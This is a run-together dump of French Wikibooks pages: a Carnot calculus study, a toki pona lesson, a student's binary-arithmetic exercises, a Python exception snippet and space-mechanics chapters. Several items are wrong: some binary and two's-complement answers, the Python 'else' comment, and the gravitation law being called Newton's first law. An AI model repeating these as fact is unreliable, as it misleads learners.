traite les deux équations TP = MP (MZ/RZ) et MZ/RZ = y/ (a - x) que je viens de trouver, comme si elles étaient parfaitement exactes l’une de l’autre ; substituant donc la dernière valeur de MZ/RZ tirée de l’autre, j’ai pour résultat TP = y²/ (a - x) comme ci-dessus.'"' ''"Ce résultat est parfaitement juste, puisqu’il est conforme à celui qu’on a obtenu par la comparaison des triangles CPM, MPT ; et cependant les équations TP = MZ/RZ et MZ/RZ = y/ (a - x), d’où il a été tiré, '''sont certainement fausses toutes les deux''', puisque la distance de RS à MP n’a point été supposée nulle, ni même très petite, mais bien égale à une ligne quelconque arbitraire. Il faut par conséquent de toute nécessité que les erreurs se soient compensées mutuellement par la comparaison des équations erronées."'' '''Partie X''' (Pourquoi cette compensation a lieu ?) ''"Voilà donc des erreurs compensées bien acquis et bien prouvé ; il s’agit maintenant de l’expliquer, de rechercher le signe auquel on reconnaît que la compensation a lieu dans les calculs semblables au précédant, et les moyens de la produire dans chaque cas particulier. Or il suffit pour cela de remarquer que les erreurs commises dans les équations TP = y (MZ/RZ) et MZ/RZ = y / (a – x) pouvant être rendues aussi petites qu’on le veut, celle qui aurait lieu, s’il s’en trouvait une dans l’équation résultante TP = y²/ (a - x), pourrait également être rendue aussi petite qu’on le voudrait, et qu’elle dépendrait de la distance arbitraire des lignes MP, RS. Or, cela n’est pas, puisque le point M par où doit passer la tangente étant donné, il ne se trouve aucune des quantités a, x, y, TP de cette équation qui soit arbitraire ; donc il ne peut y avoir en effet aucune erreur dans cette équation."'' ''"Il suit de-là que la compensation des erreurs qui se trouvaient dans les équations TP = y (MZ/RZ) et MZ/RZ = y / (a – x), se manifeste dans le résultat par l’absence des quantités MZ, RZ qui causaient ces erreurs ; et que par conséquent, après avoir introduit ces quantités dans le calcul pour faciliter l’expression des conditions du problème, et les avoir traitées dans les équations qui exprimaient ces conditions comme nulles par comparaison aux quantités proposés, afin de simplifier ces équations, il n’y a qu’à éliminer ces mêmes quantités des équations où elles peuvent se trouver encore, pour faire disparaître les erreurs qu’elles avaient occasionnées, et obtenir un résultat qui soit parfaitement exact."'' '''Partie XI''' ''"L’inventeur a donc pu être conduit à sa découverte par un raisonnement bien simple : si à la place d’une quantité proposée, a-t-il pu dire, j’emploie dans le calcul une autre quantité qui ne lui soit point égale, il en résultera une erreur quelconque ; mais si la différence des quantités est arbitraire, et que je sois maître de la rendre aussi petite que je voudrai, cette erreur ne sera point dangereuse ; je pourrais même commettre à la fois plusieurs erreurs semblables sans qu’ils s’ensuivit aucun inconvénient, puisque '''je demeurerai toujours maître du degré de précision''' que je voudrai donner à mes résultats."'' '''Partie XII''' ''"Pour fixer davantage ces idées, et donner aux principes qui en dérivent le degré de précision et de généralité qui leur convient, je remarquerai que les quantités (…) peuvent se distinguer en deux classes ; la première, composée des quantités qui, comme MC, MP, PT, MT, sont ou données ou déterminées par les conditions du problème ; et la seconde, composée des quantités qui, comme RS, RT’, ST’, dépendent de la position arbitraire du point R, et telles en même temps, qu’à mesure que ce point R se rapproche du point M, chacune d’entre elles s’approche de sa correspondante dans la première classe, en sorte que MP, par exemple, est la limite de RS, c’est-à-dire, le terme fixe dont elle approche continuellement, ou, si l’on veut, sa dernière valeur ; de même MT est la limite ou dernière valeur de RT’, et PT celle de ST’ ; par la même raison, il est clair que les limites ou dernières valeurs de MZ, RZ, MR, T’T, sont toutes 0 (…)"'' '''Partie XIII''' ''"Imaginons donc maintenant, pour étendre ces remarques aux problèmes du même genre, un système quelconque de quantités proposées, et qu’il soit question de trouver les rapports qui existent entre elles."'' '''Partie XIV''' ''« D’abord je comprendrai sous le nom de quantités désignées, non seulement toutes les quantités qui sont proposés par l’énoncé même de la question, (…) »'' ''Partie XV'' ''"J’appellerai, au contraire, quantités non-désignées ou auxiliaires toutes celles qui ne font point partie du système des quantités désignées, (…), mais y sont introduites seulement pour faciliter la comparaison des quantités proposées."'' ''"Ainsi, dans l’exemple précédent, '''MP, MC, MT, DP, etc sont des quantités désignées''', parce qu’elles dépendent uniquement de la position du point M (…) ; mais RS, et toutes celles qui en dépendent, comme '''MZ, RZ, T’T, T’P, etc. sont des quantités auxiliaires''', parce qu’on a imaginé de les mener que pour aider à la solution de la question, qui était de trouver le rapport de MP à TP."'' '''Partie XVI''' ''« Lorsqu’en mathématique, deux lignes, deux surfaces, (…) sont supposés s’approcher (…), on dit que ces deux quantités ont pour dernière raison une raison d’égalité. »'' [[image: CINF3.JPG|thumb|300px|right|Figure Carnot-3]] '''Partie XVII''' ''« Si l’une de ces grandeurs est une quantité désignée et l’autre est une quantité auxiliaire, la première sera dite limite ou dernière valeur de la seconde ; c’est-à-dire, qu’une limite n’est autre chose qu’une quantité désignée de laquelle une quantité auxiliaire est supposée s’approcher perpétuellement, de manière qu’elle puisse en différer aussi peu qu’on voudra, et que leur dernière soit une raison d’égalité. »'' ''« Ainsi, '''il n’y a que les quantités auxiliaires qui, à proprement parler, aient ce que j’appelle une limite; car les quantités désignées étant supposées ne point changer''', (…), elles ne peuvent strictement parlant avoir de limites, (…) »'' '''Partie XVIII''' ''"Ainsi, en général nous nommons dernières valeurs et dernières raisons des quantités les valeurs ou les raisons des quantités les valeurs ou les raisons qui sont en effet les dernières de celles qu’assigne à ces grandeurs et à leurs rapports, '''la loi de continuité''', lorsque chacune d’elles est supposée s’approcher perpétuellement et par degrés insensibles de la quantité désignée qui lui répond."'' == Anecdote: la création du calcul infintésimal == La découverte du calcul infinitésimal a été l’un des événements majeurs pour l’humanité. Cette découverte ne s’est pas faite soudainement et on peut dire qu’il n’était pas évident pour Leibniz de découvrir ce calcul et de l’améliorer. Cette découverte ne s’est pas faite aussi en cachette ou dans un milieu secret. Quand Leibniz a commencé ses travaux sur les mathématiques vers 1672, il travaillait avec Huygens (chargé par Colbert de la science) et son ami Denis Papin (l’inventeur de la machine à vapeur). Huygens a plusieurs fois testé le savoir mathématique de Leibniz. A Paris, où se trouvaient les plus grands mathématiciens de l’époque, on connaissait Leibniz, et tout ce passait comme si ses recherches allaient déboucher sur « ''quelque chose'' ». Au commencement de cette aventure sont les suites de nombres. Pour être plus précis, ce sont les différences des suites qui allaient attirer l’attention de Leibniz. En effet si on regarde bien une suite de nombre, on s’aperçoit que les différences de la suite croissante de nombres ont quelques propriétés. Par exemple, les différences d’une suite de nombre croissante peuvent être linéaires ou la somme des différences d’une suite correspond au dernier nombre à laquelle on a arrêté la suite. [[image: CID1.JPG|thumb|200px|right|genèse CI]] 0 1 4 9 16 1 3 5 7 +2 +2 +2 '''La somme des différences 1+3+5+7 est égale à 16.''' '''La pente de l'équation correspondant aux différences de la suite X² est égale à 2x.''' C’est la genèse du calcul intégral et différentiel. D’où lui est venue l’idée d’utiliser les propriétés des différences de suite de nombres ? Evidemment, en ayant toujours en tête de la citation de Leibniz, « ''les mathématiques n’ont pas la propriété d’innover mais de préciser'' », nous pouvons affirmer un autre postulat du grand savant : ''« (…) dans les vérités contingentes, bien que, le prédicat soit inhérent au sujet, on ne pourra jamais le démontrer (…) »'' Donc la suite d’équation X² a pour la suite de ses différences, l’équation 2x. De plus cette pente d’équation (2x) a la propriété de faciliter le calcul de la somme de l’équation (X²). '''La seule question que s’est posé Leibniz était de savoir si on pouvait généraliser cette méthode de calcul ?''' Si x² ==> 2x alors 3x² ==> 6x. 0 1 2 3 4 5 3x² 0 3 12 27 48 75 6x +3 +9 +15 +21 +27 [[image: CID2.JPG|thumb|250px|left|calcul différentiel et calcul integral]] Essayons avec X³ : 0 1 2 3 4 5 X³.....0 1 8 27 64 125 3x²........1 7 19 37 61 6x............+6 +12 +18 +24 La suite 1, 7, 19, 37, 61 se trouve bien sur la courbe 3x². Donc l’équation (X³) a, pour ses différences, la pente d’équation (3x²). == Liens == Réflexions sur la métaphysique du calcul infinitésimal [http://math-doc.ujf-grenoble.fr/cgi-bin/oeitem?id=OE_CARNOT__1_125_0] [[catégorie:Histoire des mathématiques]] Etude de l'oeuvre mathématique de Lazare Carnot 8112 40654 2006-04-21T14:57:47Z Greudin 1 [[Etude de l'oeuvre mathématique de Lazare Carnot]] déplacé vers [[Étude de l'oeuvre mathématique de Lazare Carnot]]: pinaillage ;) #REDIRECT [[Étude de l'oeuvre mathématique de Lazare Carnot]] Catégorie:Histoire des mathématiques 8113 40655 2006-04-21T14:58:07Z E-s-B 1133 catégorie - maths histoire [[Catégorie:Mathématiques]] [[Catégorie:Histoire]] Catégorie:Histoire 8114 40660 2006-04-21T15:07:22Z E-s-B 1133 catégorie [[Catégorie:Principale]] Wikilivres:Avertissement sur le contenu 8116 40690 2006-04-21T19:56:40Z Greudin 1 en: Dans son ambitieuse mission de propose la plus grande ressource d'instruction libre du monde, Wikilivres (Wikibooks) contient beaucoup de livres sur un vaste choix de matières. Une fraction relativement petite de ce contenu est fréquemment censurée pour des considérations éducatives, juridiques ou autres. [[en:Wikibooks:Content disclaimer]] Wikiversité:Faculté de Chimie 8120 40744 2006-04-22T11:47:54Z Greudin 1 [[Wikiversité:Faculté de Chimie]] déplacé vers [[Wikiversité:Faculté de chimie]]: typographie fr #REDIRECT [[Wikiversité:Faculté de chimie]] Toki pona - Leçon 4: Adjectifs, adverbes et noms composés 8123 40771 2006-04-23T11:38:17Z Tensai 654 {{Utilisateur:Tensai/modèles/Leçons}} ==Vocabulaire== *ike - mal, mauvais compliqué *jaki - sale, ordure *lawa - principal, tête, guider *len - vêtement; vêtir *lili - petit *mute - beaucoup, nombreux *nasa - fou, stupide, idiot, bizarre *seli - chaud *sewi - haut, supérieur, ciel *tomo - maison, habitation, construction *utala - guerre, bataille, combattre ==Qualificatifs== Comme vous le savez déjà, le toki pona a un vocabulaire très minimaliste et très général, ce qui fait que l'on dispose de très peu de noms. Pour préciser la signification d'un nom on ajoute directement après ce nom le ou les qualificatifs qui peuvent être des adjectifs, mais aussi des noms ou des verbes. * jan pona - bonne personne = ami * jan utala - personne (de) guerre = guerrier, soldat * ilo moku - outil (pour) manger = fourchette/cuiller/etc. Certains noms ainsi qualifiés deviennent de véritables noms composés et prennent un sens idiomatique. C'est le cas des trois exemples ci-dessus : un ilo moku est quasiment toujours une fourchette/etc. Plusieurs qualificatifs peuvent préciser davantage le nom qu'ils qualifient. On ajoute les qualificatifs un par un derrière le nom. * jan utala pona - bon soldat * jan pona utala - ami combattant * jan utala pona mute - de nombreux bons soldats * jan utala pona ni - ce bon soldat Voici quelques noms composés fréquents utilisant les mots que l'on a déja appris. Essayez de retrouver leur sens littéral : * jan ike - ennemi * jan lawa - leader, chef * jan lili - enfant * jan pakala - blessé, accidenté * jan sewi - dieu * jan suli - adulte * jan unpa - amant(e), prostitué(e) * ma telo - boue, marais * ma tomo - ville * telo nasa - alcool, bière, vin * tomo telo - toilettes, salle de bains On peut aussi faire des combinaisons d'adjectifs sans noms : * ona li ike lukin - il est laid * sina pona lukin - tu es jolie * unpa lukin - sexy ==Pluriel== On utilise le qualificatif mute pour préciser le pluriel (Mais cela ne signifie pas que quand le pluriel n'est pas précisé il s'agit d'un singulier). * mi mute - nous * sina mute - vous * ona mute - ils, elles, eux ==Possessifs== Les pronoms employés comme qualificatifs servent de pronoms possessifs. * tomo mi - ma maison * ma sina - ton pays * telo ona - son eau Les autres noms peuvent être utilisés de la même façon : * len jan - le vêtement de quelqu'un * seli suno - la chaleur du soleil ==Adverbes== L'adverbe suit directement le verbe qu'il modifie. * mi lawa pona e jan. - Je conduis bien les hommes. * mi utala ike. - Je combats mal. * sina lukin sewi e suno. - Tu regardes vers le haut le soleil. * ona li wile mute e ni. - Il veut beaucoup cela. * mi mute li lukin lili e ona. - Nous le voyons peu. Wikimodule:architecture des ordinateurs niveau 1:Carnops 8131 41089 2006-04-27T23:11:24Z Carnops 1287 /* Semaine 1 */ {{wikimodule:architecture des ordinateurs niveau 1}} ==Etudiant Carnops: architecture des ordinateurs== ==== Semaine 1 ==== Etudier l'introduction et le chapitre '''Représentation des données''' de la ressource [[ Architecture des ordinateurs|Architecture des ordinateurs (en construction)]]. ==== Semaine 2 ==== Faire les exercices de 1 à 6 du chapitre '''Représentation des données''' de la ressource [[ Architecture des ordinateurs|Architecture des ordinateurs (en construction)]]. ==== Semaine 3 ==== Etudier le chapitre '''Codes détecteurs et correcteurs d'erreurs''' de la ressource [[ Architecture des ordinateurs|Architecture des ordinateurs (en construction)]]. ==== Semaine 4 ==== ==== Semaine 5 ==== ==== Semaine 6 ==== ==== Semaine 7 ==== ==== Semaine 8 ==== ==== Semaine 9 ==== ==== Semaine 10 ==== ==== Semaine 11 ==== ==== Semaine 12 ==== ==== Semaine 13 ==== ==== Semaine 14 ==== ==== Semaine 15 ==== ==== Semaine 16 ==== ==Travaux réalisés== === Semaine 1 === Intro : OK Représentation des données : Lu, à retravailler. === Semaine 2 === {{Boîte déroulante|titre= :: Exercice 1 :: |contenu = <pre> Représenter en base 2 sur 8 bits le entiers 78, 199 et 53. 78 = 0100 1110 199 = 1100 0011 53 = 0011 0101 </pre> }} {{Boîte déroulante|titre= :: Exercice 2 :: |contenu = <pre> Voici des entiers représentés en base 2 sur 8 bits. Donnez leurs valeurs décimales respectives : (1001 1011) (0011 1100) (0101 0101) (1001 1011) = 91 (0011 1100) = 60 (0101 0101) = 85 </pre> }} {{Boîte déroulante|titre= :: Exercice 3 :: |contenu = <pre> Représentez en complément à 2 sur 8 bits les entiers -100, 83 et -29. -100 = 1110 0100 83 = 0101 0011 -29 = 1001 1101 </pre> }} Image:Carnops.jpg 8133 40862 2006-04-24T16:23:00Z Carnops 1287 Une photo de l'utilisateur Carnops Une photo de l'utilisateur Carnops Image:Dipôle-convention récepteur.png 8138 40887 2006-04-25T09:19:29Z PNLL 1419 Schéma de la convention récepteur appliquée à un dipôle. PNLL, == Licence == {{GFDL}} Schéma de la convention récepteur appliquée à un dipôle. PNLL, == Licence == {{GFDL}} Image:Dipôle-convention générateur.png 8139 40888 2006-04-25T09:23:18Z PNLL 1419 Schéma de la convention générateur appliquée à un dipôle. PNLL, {{GFDL}} Schéma de la convention générateur appliquée à un dipôle. PNLL, {{GFDL}} Image:CI2.JPG 8145 40918 2006-04-25T17:10:16Z Murat 1413 source: ce dessin m'appartient statue: source: ce dessin m'appartient statue: Image:CI1.JPG 8146 40919 2006-04-25T17:14:22Z Murat 1413 source: ce dessin m'appartient statue: {{PD}} source: ce dessin m'appartient statue: {{PD}} Image:CI3.JPG 8147 40920 2006-04-25T17:15:26Z Murat 1413 source: ce dessin m'appartient statue: {{PD}} source: ce dessin m'appartient statue: {{PD}} Image:CID1.JPG 8148 40921 2006-04-25T17:15:56Z Murat 1413 source: ce dessin m'appartient statue: {{PD}} source: ce dessin m'appartient statue: {{PD}} Image:CID2.JPG 8149 40922 2006-04-25T17:16:25Z Murat 1413 source: ce dessin m'appartient statue: {{PD}} source: ce dessin m'appartient statue: {{PD}} Image:CINF1.JPG 8150 40923 2006-04-25T17:16:53Z Murat 1413 source: ce dessin m'appartient statue: {{PD}} source: ce dessin m'appartient statue: {{PD}} Image:CINF2.JPG 8151 40924 2006-04-25T17:17:28Z Murat 1413 source: ce dessin m'appartient statue: {{PD}} source: ce dessin m'appartient statue: {{PD}} Image:CINF3.JPG 8152 40925 2006-04-25T17:17:54Z Murat 1413 source: ce dessin m'appartient statue: {{PD}} source: ce dessin m'appartient statue: {{PD}} Programmation Python Exeption 8155 40946 2006-04-25T23:03:35Z GedSismik 1429 {{Exemple|Exemple|Exemple de gestion d'exception| <pre> try: # Code pouvant g&eacute;n&eacute;rer une exception except MonException: # Code en cas d'exception else: # Code dans tous les cas </pre> }} Chimie biologique, interface chimie-biologie, bioscience 8156 41895 2006-05-10T14:48:07Z 213.41.1.226 /* Chimie médicinale */ == Les biomolécules == == Chimie médicinale == * <b>Introduction</b> La chimie médicinale s'interesse à la conception de molécules à viser thérapeutique. Cela sous-entend l'étude de l'intéraction entre les molécules et un substrat. Le substrat étant l'agent choisi dont l'inhibition permettrai d'enrayer la maladie (enzyme, récepteur.etc..). Wikiversité/Philosophie 8157 40977 2006-04-26T15:17:10Z 62.34.251.111 Cours de Philosophie de la l'université Paul Valéry à Montpellier (transcription par les élèves) : http://zcc.free.fr/wikini/wakka.php?wiki=MtpphilosophiE Mécanique spatiale 8158 40978 2006-04-26T15:27:39Z 134.212.178.10 page d'accueil [[Catégorie:Physique]] <table width="100%" cellspacing="0" cellpadding="4" border="0" style="border:solid #BBBBBB 1px; background:#CCCCEE"><tr> <td style="background:#CCCCEE;vertical-align:top"><div style="margin-left:10px; margin-right:10px; margin-top:10px;margin-bottom:10px; border:solid #BBBBBB 0px">[[Image:Earth-moon.jpg|200px]]</div></td> <td style="vertical-align:center"><div style="margin-left:15px;margin-right:15px">''Eppur si muove.'' :'''Galileo Galilei''' <center><br><big>'''[[Mécanique spatiale:sommaire|sommaire >>]]'''</big></center></div></td> </tr></table> Mécanique spatiale:sommaire 8159 41564 2006-05-04T09:59:52Z Aloux 1453 {{EnTravaux}} Le but de cet ouvrage est de fournir les éléments nécessaire à la compréhension de la mécanique spatiale. Ce cours nécessite un niveau mathématique correct (BAC?) pour être compris dans son intégralité. Néanmoins, on veillera à ce que les principes physiques et les notions clés de cette discipline restent compréhensibles du plus grand nombre. <table width="100%" cellspacing="0" cellpadding="4" border="0" style="border:solid #BBBBBB 1px; background:#EEEEEE"> <!-- ### intro ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><big><div style="margin-right:15px"> [[Mécanique spatiale:Introduction|'''Introduction''']] </big> ''Qu'est-ce-que la mécanique spatiale? Qui s'en sert et pourquoi faire...'' </div></td> <td style="background:#CCCCEE;vertical-align:top">[[Image:Earth-moon.jpg|80px|Lever de Terre depuis la Lune]]</td> </tr> <!-- ### Space ### --> <tr><td colspan=3 style="height:10px;background:#FFFFFF"></td></tr> <!-- ### chapitre 1 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Mécanique spatiale:Chapitre 1|'''1. Un peu d'histoire!''']] </big> ''Origines de la discipline. Evolution des idées'' </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 2 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Mécanique spatiale:Chapitre 2|'''2. L'Univers, le système solaire, la Terre''']] </big> ''Revue de l'espace qui nous entoure'' </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 3 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Mécanique spatiale:Chapitre 3|'''3. Les lois de l'attraction''']] </big> ''Ou comment Newton a expliqué le mouvement des astres'' </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 4 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Mécanique spatiale:Chapitre 4|'''4. Le problème à deux corps''']] </big> ''Problème de référence où l'on retrouve les lois de Kepler'' </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 5 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Mécanique spatiale:Chapitre 5|'''5. Repères, systèmes de coordonnées''']] </big> ''Définition et revue des principaux systèmes en usage'' </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 6 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Mécanique spatiale:Chapitre 6|'''6. Missions et problématiques associées''']] </big> ''Où l'on aborde les missions spatiales dans toutes leur diversité'' </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 7 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Mécanique spatiale:Chapitre 7|'''7. Perturbations orbitales''']] </big> ''Où les choses se compliquent...'' </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 8 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Mécanique spatiale:Chapitre 8|'''8. Contrôle d'attitude et d'orbite''']] </big> ''Comment déterminer, conserver, modifier l'attitude d'un satellite'' </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 9 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Mécanique spatiale:Chapitre 9|'''9. Manoeuvres orbitales''']] </big> ''Présentation des manoeuvres les plus courantes'' </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### Space ### --> <tr><td colspan=3 style="height:10px;background:#FFFFFF"></td></tr> <!-- ### Appendices ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:Red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Mécanique spatiale:Appendices|'''Appendices''']] </big> </div></td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### Space ### --> <tr><td colspan=3 style="height:10px;background:#FFFFFF"></td></tr> <!-- ### Glossaire ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:Red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Mécanique spatiale:Glossaire|'''Glossaire''']] </big> </div></td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### Space ### --> <tr><td colspan=3 style="height:10px;background:#FFFFFF"></td></tr> <!-- ### biblio ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:Red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Mécanique spatiale:Bibliographie|'''Bibliographie''']] </big> </div></td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### Space ### --> <tr><td colspan=3 style="height:10px;background:#FFFFFF"></td></tr> <!-- ### Liens ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:Red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Mécanique spatiale:Liens|'''Liens''']] </big> </div></td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### Space ### --> <tr><td colspan=3 style="height:10px;background:#FFFFFF"></td></tr> <!-- ### Authors ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:Red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Mécanique spatiale:auteurs|'''Auteurs''']] </big> </div></td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> </table> <hr> [[Mécanique spatiale|<< Page de garde]] Mécanique spatiale:auteurs 8160 40986 2006-04-26T17:47:34Z 134.212.178.10 Créateur du projet: [[w:fr:Utilisateur:Aloux|Aloux]]. Il y aura pas mal de travail à abattre sur ce projet qui n'est encore que dans sa phase d'élaboration. Les contributions, idées, conseils, critiques sont donc plus que bienvenues pour faire de ce Wikilivre un ouvrage de qualité... [[Mécanique spatiale:sommaire|<<Sommaire]] Mécanique spatiale:Introduction 8162 41241 2006-04-29T19:44:52Z 134.212.178.10 Quiconque a eu un jour la curiosité de lever les yeux au ciel a pu entr'apercevoir la formidable dynamique qui anime les corps célestes et, depuis 1957, quelques centaines d'engins conçus par l'Homme. Il fallut attendre le XVIIème siècle pour comprendre que des phénomènes aussi divers que la course du Soleil dans le ciel, les différentes phases de la Lune, la rotation des étoiles sur la voûte céleste un soir d'été, les comètes et autres étoiles filantes étaient gouvernées par les mêmes lois physiques. Si les mouvements des corps célèstes massifs ne peuvent être parfaitement expliqués qu'à travers la [[w:fr:relativité générale|relativité générale]] introduite par [[w:fr:Albert Einstein|Albert Einstein]] au début du XXème siècle, celle-ci sort complètement du cadre du présent ouvrage. Le lecteur intéressé par cette théorie passionnante se tournera vers les ouvrages spécialisés. Dans la quasi-totalité des cas exposés dans la suite de l'ouvrage, la gravitation et la mécanique au sens de Newton seront amplement suffisantes. La mécanique spatiale, au sens où l'on entend dans la suite de l'ouvrage, est la science qui a pour objectif d'étudier le mouvement d'un corps évoluant dans l'espace ainsi que les moyens de contrôler ce mouvement au cours du temps. Dans la pratique, la masse du corps étudié est négligeable devant celle des corps célestes ([[w:fr:Terre|Terre]], [[w:fr:Soleil|Soleil]], ...) que sa trajectoire est amenée à croiser. La mécanique spatiale est un élément capital dans la réussite d'une mission. Elle intervient dès la définition de la mission et a un impact déterminant sur la conception et le dimensionnement d'un satellite (notamment en terme de carburant à emporter). Sa maîtrise est indispensable pour maintenir une flotte de satellites en conditions opérationnelles plusieurs années durant. L'objectif de cet ouvrage est de présenter l'ensemble des problèmes auxquels la mécanique spatiale doit apporter une réponse. Il s'adresse autant à des novices qu'à des personnes familières du sujet. Il requiert néanmoins un minimum de connaissances en mécanique des solides ainsi que la maîtrise des mathématiques associées. Néanmoins toute notion considérée comme prérequise pointera vers l'article [[w:fr:Wikipédia|Wikipédia]] correspondant afin de rester accessible au plus grand nombre. Bonne lecture! {| align="center" border="0" width="100%" | bgcolor="#CCCCEE" align="center" colspan="2" | Mécanique spatiale <br> '''Introduction''' |- | style="background-color:#B0D0F0" width="50%" align="left" |[[Mécanique spatiale:sommaire|<< sommaire]] | style="background-color:#B0D0F0" width="50%" align="right" |[[Mécanique spatiale : Chapitre 1 |Chapitre 1 : Un peu d'histoire >>]] |} SC/Evolution humaine 8166 41317 2006-04-30T17:32:43Z Arnaud Blanchard 1367 /* Différences entre les hommes de Néandertal et les hommes modernes */ = Homme de Néandertal = == Différences entre les hommes de Néandertal et les hommes modernes == * [http://www.hominides.com/html/references/neandertal-homo-sapiens-speciation-distance.html "Neandertal, une spéciation par distance ?", article] de hominides.com à propos des différences. * [http://ma.prehistoire.free.fr/metissage.htm Les néandertaliens et les hommes modernes se sont-ils métissés ? (ma préhistoire)] * [http://www.cirs.fr/breve.php?id=74 Comparaison par ordinateur de l'Homme de Néandertal et de l'Homme moderne]. = Culture = == "Les enfants de la terre" de Jean Auel == Fiction à propos des aventures imaginaires d'une fille de type homme morderne (de Cromagnon) reccueillie par des hommes de Néandertal. * http://www.jean-auel.net Hommes de néandertal: Lobe frontal moins développé et lobe occipital plus étendu, d'où la conclusion de l'auteur, les hommes de Néandertal ont plus de mémoire et même une mémoire des ancestres ce qui ne paraît pas possible. Méttisage homme de Néandertal, homme moderne paraît douteux mais possible. === Divers === * [http://donsmaps.com/indexmaps.html Cartes (en anglais)] de l'aventure. = Liens en vrac = * http://ma.prehistoire.free.fr Mécanique spatiale:Chapitre 4 8167 42383 2006-05-15T19:26:25Z 134.212.178.10 /* Problème à deux corps ? */ {| align="center" border="0" width="100%" | bgcolor="#CCCCEE" align="center" colspan="3" | Mécanique spatiale <br> '''Problème à deux corps''' |- | style="background-color:#B0D0F0" width="40%" align="left" |[[Mécanique spatiale:Chapitre 3|<< Chapitre 3 : Les lois de l'attraction]] | style="background-color:#B0D0F0" width="20%" align="center" |[[Mécanique spatiale:sommaire|Sommaire]] | style="background-color:#B0D0F0" width="40%" align="right" |[[Mécanique spatiale : Chapitre 5 |Chapitre 5 : Repères, systèmes de coordonnées >>]] |} Le problème à deux corps constitue l'une des pierres angulaires de la mécanique spatiale. Il consiste à décrire le mouvement de deux corps soumis à leur seule attraction gravitationellle mutuelle. Ce problème possède une solution analytique qu'[[w:fr:Isaac Newton|Isaac Newton]] découvrit en 1687. ==Énoncé== [[Image:Pb2Corps_Enonce.PNG|thumbnail|right|200px|Données du problème]] Considérons deux points matériels ''A'' et ''B'' respectivement dotés des masses ''M'' et ''m'' supposées constantes. Le fait de considérer des corps ponctuels se justifie. En effet, on peut démontrer que d'un point de vue gravitationnel il est équivalent de considérer une sphère de masse volumique homogène ou de concentrer toute la masse en son centre. L'équivalence est encore valable si la masse volumique locale de la sphère ne dépend que de la distance au centre. Au premier ordre cette description est suffisante pour les étoiles, les planètes, les satelittes... On nommera ''O'' le centre de masse du système ''{A,B}''.On notera : <center><math>\vec{r}=\vec{r}(t)=\overrightarrow{AB}(t)</math></center> ''A'' et ''B'' s'attirent l'un l'autre par des forces égales et opposées en vertu de la troisième loi de Newton. L'intensité de cette attraction est fournie par la première loi de Newton: <center><math>\overrightarrow{F_{A\rightarrow B}}=-\overrightarrow{F_{B\rightarrow A}}=-\frac{GMm}{r^3}\vec{r}\qquad[Eq.1]</math></center> où <math>\overrightarrow{F_{A\rightarrow B}}</math> désigne l'attraction exercée par le corps ''A'' sur le corps ''B'' et ''G'' la constante universelle de gravitation soit <math>6,674.10^{-11} m^{3}.kg^{-1}.s^{-2}</math>. ==Problème monocorps équivalent== Comme souvent en physique, on va tenter de se ramener à un problème équivalent dont la résolution est plus simple. Pour nous y aider, on peut faire deux observations. Premièrement, si on considère le système constitué par les corps ''A'' et ''B'', il n'est soumis à aucune force extérieure (par hypothèse!). D'après la seconde loi de Newton, cela signifie que le centre de masse de ce système (ici ''O'') est soit immobile soit animé d'un mouvement de translation uniforme par rapport à un [[w:fr:Référentiel galiléen|référentiel galiléen]]. Concrètement, cela signifie que l'on peut considérer le point ''O'' comme un point fixe autour duquel tournent les 